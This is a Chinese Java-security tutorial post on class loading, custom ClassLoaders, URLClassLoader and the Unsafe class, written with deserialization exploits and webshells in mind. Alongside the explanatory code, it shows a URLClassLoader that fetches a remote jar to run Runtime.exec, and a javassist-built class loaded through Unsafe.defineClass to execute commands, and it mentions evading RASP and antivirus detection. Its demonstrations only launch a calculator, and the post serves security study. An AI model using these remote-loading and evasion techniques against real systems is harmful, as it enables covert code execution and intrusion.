java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)相关的知识,希望对你有一定的参考价值。

当要执行某一个类时,java程序在运行前会将java文件编译成class字节码文件,然后调用ClassLoader类加载器加载类字节码,通过JVM的native方法来创建类的class对象。

使用javap命令反编译HelloTest.class文件查看其内容

 用工具以十六进制打开.class文件的二进制内容,jvm执行HelloTest类会解析class文件中的字节码内容(ByteCode)

ClassLoader类加载器

ClassLoader类加载器主要是用于加载java类文件的,在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器)。

一般不指定类加载器的话,默认会使用Applicaiton ClassLoader类加载器来加载java类,有时候我们通过一个类获取当前类加载器时可能会返回null,来看这个示例程序:

 String和InputStream是jvm识别的类,会被Bootstrap ClassLoader引导类加载器加载,并且Bootstrap ClassLoader类加载器底层是由C++编写的,当尝试获取Bootstrap ClassLoader类加载器加载的类时都会返回null,为什么LazyMap类可以获取到Applicaiton ClassLoader类加载器?因为LazyMap是由开发者自定义编写的类。

ClassLoader类有以下几个常用的方法,特别是我们在阅读一些框架的源码时常会看到这些方法,特别是java安全中反序列化漏洞的利用也会用到这些方法:

loadClass用于加载指定的Java类

findClass用于查找指定的Java类

findLoadedClass用于查找JVM已经加载过的类

defineClass用于定义一个Java类

resolveClass用于链接指定的Java类

例如之前在分析fastjson,apache commons collections中间件的反序列化漏洞时,总会看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链的身影

 TemplatesImpl类之所以在反序列化漏洞中常见是因为,它有一个静态的内部类TransletClassLoader继承了ClassLoader类并重写了loadClass方法和defineClass方法,这两个方法在触发反序列化漏洞执行RCE命令时会经常看到。

 Java类动态加载方式

new操作和类名.方法的方式是隐式类加载,反射和ClassLoader来加载类是显示类加载。

class Test2{
    public static void hello(){
        System.out.println("hello world");
    }
}

public class Test {

    public void main(String[] args) throws Exception{
        //new操作
        new Test2();
        //类名.方法
        Test2.hello();
        //反射加载类
        Class.forName("com.fastjson.Test2");
        //通过ClassLoader类加载器来加载
        this.getClass().getClassLoader().loadClass("com.fastjson.Test2");
    }
}

ClassLoader会调用单参数的loadClass加载类,然后再调用两个参数的loadClass方法,findLoadedClass方法用于查找name指定的类是否已经被初始化,如果是则直接返回,如果传入了父类加载器的话,会优先使用父类加载器来加载name指定的类,如果以上都无法加载,则调用自己的findClass来加载

    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized (getClassLoadingLock(name)) {
            //检查类是否已经被初始化
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
						//使用父类加载器来加载name指定的类
                        c = parent.loadClass(name, false);
                    } else {
						//否则使用Bootstrap ClassLoader来加载
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
					//如果上一步无法加载,则调用findClass来加载
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
				//如果指定了resolve参数,则调用resolveClass链接类
                resolveClass(c);
            }
            return c;
        }
    }

如果当前的ClassLoader没有重写了findClass方法,那么直接返回异常,如果当前类重写了findClass方法并通过传入的类名找到了对应的类字节码,那么调用defineClass方法去JVM中注册该类。

自定义ClassLoader

ClassLoader是所有类加载器的父类,ClassLoader下有很多子类加载器,也可以自定义类加载器实现自定义的操作,这意味着我们可以自定义一个类加载器继承ClassLoader并重写findClass方法,这样就可以在调用defineClass方法的时候传入一个类的字节码方式来定义一个类,再通过反射调用类的方法。

自定义一个CustomClassloader 类加载器继承ClassLoader

package com.classloader;

import java.lang.reflect.Method;

/**
 * @auther songly_
 * @data 2021/9/11 21:53
 */
public class CustomClassloader extends ClassLoader {

    //Test类的字节码
    private static byte[] byteCode = new byte[]{-54,-2,-70,-66,0,0,0,49,0,31,10,0,6,0,17,9,0,18,0,19,8,0,20,10,0,21,0,22,7,0,23,7,0,24,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,19,76,99,111,109,47,102,97,115,116,106,115,111,110,47,84,101,115,116,59,1,0,5,104,101,108,108,111,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,7,0,8,7,0,25,12,0,26,0,27,1,0,11,104,101,108,108,111,32,119,111,114,108,100,7,0,28,12,0,29,0,30,1,0,17,99,111,109,47,102,97,115,116,106,115,111,110,47,84,101,115,116,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,0,33,0,5,0,6,0,0,0,0,0,2,0,1,0,7,0,8,0,1,0,9,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,10,0,0,0,6,0,1,0,0,0,8,0,11,0,0,0,12,0,1,0,0,0,5,0,12,0,13,0,0,0,1,0,14,0,8,0,1,0,9,0,0,0,55,0,2,0,1,0,0,0,9,-78,0,2,18,3,-74,0,4,-79,0,0,0,2,0,10,0,0,0,10,0,2,0,0,0,10,0,8,0,11,0,11,0,0,0,12,0,1,0,0,0,9,0,12,0,13,0,0,0,1,0,15,0,0,0,2,0,16
    };

    @Override
    public Class<?> findClass(String className) throws ClassNotFoundException {
        //调用JVM的native方法加载Test类
        return defineClass(className, byteCode, 0, byteCode.length);
    }

    public static void main(String[] args) throws Exception {
        // 创建自定义类加载器
        CustomClassloader loader = new CustomClassloader();
        // 使用自定义的类加载器加载TestHelloWorld类
        Class testClass = loader.loadClass("com.fastjson.Test");
        // 反射创建TestHelloWorld类
        Object obj = testClass.newInstance();
        // 反射调用hello方法
        Method method = obj.getClass().getMethod("hello");
        method.invoke(obj);
    }
}

通过自定义类加载器可以加载并调用自定义编写的java对象,例如webshell中执行命令可以调用自定义类字节码的native方法从而绕过RASP检测,也可以对java类字节码进行加密来绕过检测。

URLClassLoader类加载器

java程序一般都是通过new,Class.forName( ),类名.方法,这几种方式来动态加载类,但这几种方式都只能加载程序中已经引用的类或者jar包,并且只能用包名的方法索引查找(例如java.lang.Runtime),不能创建一个.class文件或者引用一个不在程序中的jar包的类。

URLClassLoader是在java.net包下的一个类,并且也继承了ClassLoader类,它可以从本地加载类,也可以远程加载一个类,在编写免杀的shell时可以利用这个特性来加载远程的jar文件,从而实现远程的类方法调用。

URLClassLoader可通过以下几种方式加载一个类:

从jar包中加载

从url指定的远程Http服务加载

从文件系统目录中加载

首先定义一个Test类,编译成class文件并打包成jar包文件  d:\\jdk1.7.80\\bin\\jar.exe cvf javatest.jar Test.class

import java.io.IOException;
public class Test {
    public static void rce(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
}

自定义一个类加载器远程加载jar包的类,并调用类的方法实现远程RCE命令执行

public class CustomClassloader {
    public static void main(String[] args) throws Exception {
        // 从url指定的远程http服务器上加载的jar文件
        URL url = new URL("http://127.0.0.1:8081/javatest.jar");
        // 创建URLClassLoader加载远程jar包
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
        //rce命令弹出计算器
        String cmd = "calc";
        // 通过URLClassLoader加载远程jar包中的Test类
        Class aClass = urlClassLoader.loadClass("Test");
        // 远程调用Test类中的rce方法
        aClass.getMethod("rce", String.class).invoke(null, cmd);
    }
}

Unsafe类

Unsafe是java底层提供的一个类,Unsafe类主要用于执行非常底层、不安全操作的方法,例如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源调度能力方面起到了很大的作用。

由于Unsafe类可以对系统进行非常底层且不安全的操作,对于Unsafe类的使用上进行了诸多的限制,来看一下如何使用Unsafe类

    private static final Unsafe theUnsafe;
	
	//构造私有化
	private Unsafe() {
    }
	
	//只提供静态方法获取Unsafe实例
	@CallerSensitive
    public static Unsafe getUnsafe() {
        Class var0 = Reflection.getCallerClass();
		//判断当前类加载器是否为空
        if (!VM.isSystemDomainLoader(var0.getClassLoader())) {
            throw new SecurityException("Unsafe");
        } else {
            return theUnsafe;
        }
    }

从代码中可以看到Unsafe类的构造被私有化了,Unsafe类对外只提供一个静态方法来获取当前Unsafe实例,Unsafe是一个底层类,通过查看源码可以看到它的很多方法都是非诚底层的native方法,因此Unsafe类只会被BootstrapClassLoader加载。

 jvm为了防止开发者在代码中调用Unsafe类(防止使用AppClassLoader去加载Unsafe类),在调用getUnsafe方法获取Unsafe实例时会判断当前类加载器是否为空(通常Unsafe类只会被BootstrapClassLoader加载,所以一般当前加载器默认为空),然后返回theUnsafe对象,如果当前类加载器不为空,则会抛出SecurityException异常,这样做的目的是为了限制我们在编写程序中使用Unsafe类。

来看一个示例程序,例如我们在代码中直接通过getUnsafe方法获取Unsafe实例

getUnsafe方法会判断当前类加载器是否为空,由于代码中getUnsafe方法获取Unsafe实例默认使用了Applicaiton ClassLoader类加载器,getClassLoader方法返回的结果不为null会抛出SecurityException异常。 

我们仍然可以使用其他的方式来获取Unsafe的实例,万能的反射机制

public class UnsafeTest {
    public static void main(String[] args) throws Exception {
        //方式一:通过反射直接获取theUnsafe对象
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe1 = (Unsafe)field.get(null);
        System.out.println(unsafe1);

        //方式二:通过暴力反射可以突破Unsafe类的构造私有化的限制,通过构造器实例化Unsafe
        Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        Unsafe unsafe2 = constructor.newInstance();
        System.out.println(unsafe2);
    }
}

获取theUnsafe对象之后,就可以使用Unsafe类的底层操作了,这里只讲关于对象,class的相关操作

对象操作

// 传入一个Class对象并创建该实例对象,但不会调用构造方法
public native Object allocateInstance(Class<?> cls) throws InstantiationException;

// 获取字段f在实例对象中的偏移量
public native long objectFieldOffset(Field f);

// 返回值就是f.getDeclaringClass()
public native Object staticFieldBase(Field f);
// 静态属性的偏移量,用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);

// 获得给定对象偏移量上的int值,所谓的偏移量可以简单理解为指针指向该变量;的内存地址,
// 通过偏移量便可得到该对象的变量,进行各种操作
public native int getInt(Object o, long offset);
// 设置给定对象上偏移量的int值
public native void putInt(Object o, long offset, int x);

// 获得给定对象偏移量上的引用类型的值
public native Object getObject(Object o, long offset);
// 设置给定对象偏移量上的引用类型的值
public native void putObject(Object o, long offset, Object x););

// 设置给定对象的int值,使用volatile语义,即设置后立马更新到内存对其他线程可见
public native void putIntVolatile(Object o, long offset, int x);
// 获得给定对象的指定偏移量offset的int值,使用volatile语义,总能获取到最新的int值。
public native int getIntVolatile(Object o, long offset);

// 与putIntVolatile一样,但要求被操作字段必须有volatile修饰
public native void putOrderedInt(Object o, long offset, int x);

对象操作中有一个allocateInstance方法在创建实例对象时,不会调用构造方法,这意味着allocateInstance方法可以跳过构造函数的检查,例如当我们想要实例化的类没有public的构造函数时,除了反射机制,还可以使用allocateInstance方法来进行对象的实例化。

继续来看一个例子:

 Student的getName方法输出的结果为null,说明没有调用Student对象的构造,但是allocateInstance方法还是可以实例化Student对象,allocateInstance方法只给Student对象分配了内存,并不会调用构造方法初始化Student的属性。

对象操作示例程序:

package com.test;

import sun.misc.Unsafe;

import java.lang.reflect.Field;


/**
 * @auther songly_
 * @data 2021/9/12 19:23
 */

class Student {
    private String name;
    private int age;
    private static String country = "china";

    private Student() {
        name = "zhangsan";
        age = 3;
    }

    public String getName() {
        return name;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\\'' +
                ", age=" + age +
                '}';
    }

    public static String getCountry() {
        return country;
    }
}

public class UnsafeTest {
    public static void main(String[] args) throws Exception {
        //获取Unsafe对象
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        //通过allocateInstance方法实例化Student
        Student student = (Student) unsafe.allocateInstance(Student.class);
        //获取class对象
        Class<? extends Student> studentClass = student.getClass();
        //获取field
        Field name = studentClass.getDeclaredField("name");
        Field age = studentClass.getDeclaredField("age");
        Field country = studentClass.getDeclaredField("country");

        //获取name和age在对象内存中的偏移量
        long nameOffset = unsafe.objectFieldOffset(name);
        long ageOffset = unsafe.objectFieldOffset(age);
        //设置值
        unsafe.putObject(student, nameOffset, "zhangsan");
        unsafe.putInt(student, ageOffset, 3);
        System.out.println(student);

        //获取静态变量country所属的类
        Object staticFieldBase = unsafe.staticFieldBase(country);
        System.out.println(staticFieldBase);

        //获取静态变量country的偏移量
        long countryOffset = unsafe.staticFieldOffset(country);
        //获取静态变量country的值
        Object object = unsafe.getObject(staticFieldBase, countryOffset);
        System.out.println(object);
        //设置静态变量country的值
        unsafe.putObject(staticFieldBase,countryOffset,"beijing");
        System.out.println(student);
        System.out.println(Student.getCountry());
    }
}

程序执行结果:

 class相关操作

//静态属性的偏移量,用于在对应的Class对象中读写静态属性
public native long staticFieldOffset(Field f);
//获取一个静态字段的对象指针
public native Object staticFieldBase(Field f);
//判断是否需要初始化一个类,通常在获取一个类的静态属性的时候(因为一个类如果没初始化,它的静态属性也不会初始化)使用。 当且仅当ensureClassInitialized方法不生效时返回false
public native boolean shouldBeInitialized(Class<?> c);
//确保类被初始化
public native void ensureClassInitialized(Class<?> c);
//定义一个类,可用于动态创建类,此方法会跳过JVM的所有安全检查,默认情况下,ClassLoader(类加载器)和ProtectionDomain(保护域)实例来源于调用者
public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);
//定义一个匿名类,可用于动态创建类
public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

class相关操作中有一个defineClass方法,这个方法比ClassLoader中的defineClass方法作用类似,但更加强大,比如在编写java的webshell时可以通过Unsafe类的defineClass方法来创建一个类。例如使用javassist字节码编程创建一个恶意类,然后通过Unsafe类加载恶意类执行RCE命令

    public static void main(String[] args) throws Exception {
        String abstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String Classname ="com.test.TemplateTestPoc";
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(abstractTranslet);
        CtClass ctClass = classPool.makeClass("com.test.TemplateTestPoc");
        ctClass.setSuperclass(classPool.get(abstractTranslet));
        //插入rce命令执行
        ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\\"calc\\");");

        byte[] bytecode = ctClass.toBytecode();
        //获取系统加载器
        ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
        //创建默认保护域
        ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, systemClassLoader, null);
        Class<?> aClass = Class.forName("sun.misc.Unsafe");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Unsafe unsafe = (Unsafe)declaredConstructor.newInstance();
        Class<?> aClass1 = unsafe.defineClass(Classname, bytecode, 0, bytecode.length, systemClassLoader, protectionDomain);
        Object object = aClass1.newInstance();
    }

参考资料:

https://www.cnblogs.com/rickiyang/p/11334887.html

https://www.cnblogs.com/mickole/articles/3757278.html

以上是关于java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)的主要内容,如果未能解决你的问题,请参考以下文章

java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)

java安全——类加载和Unsafe类(ClassLoader,URLClassLoader)

Java魔法类:Unsafe应用解析

Java未开源的Unsafe类

Java底层魔术类Unsafe用法简述

Java 魔法类 Unsafe 详解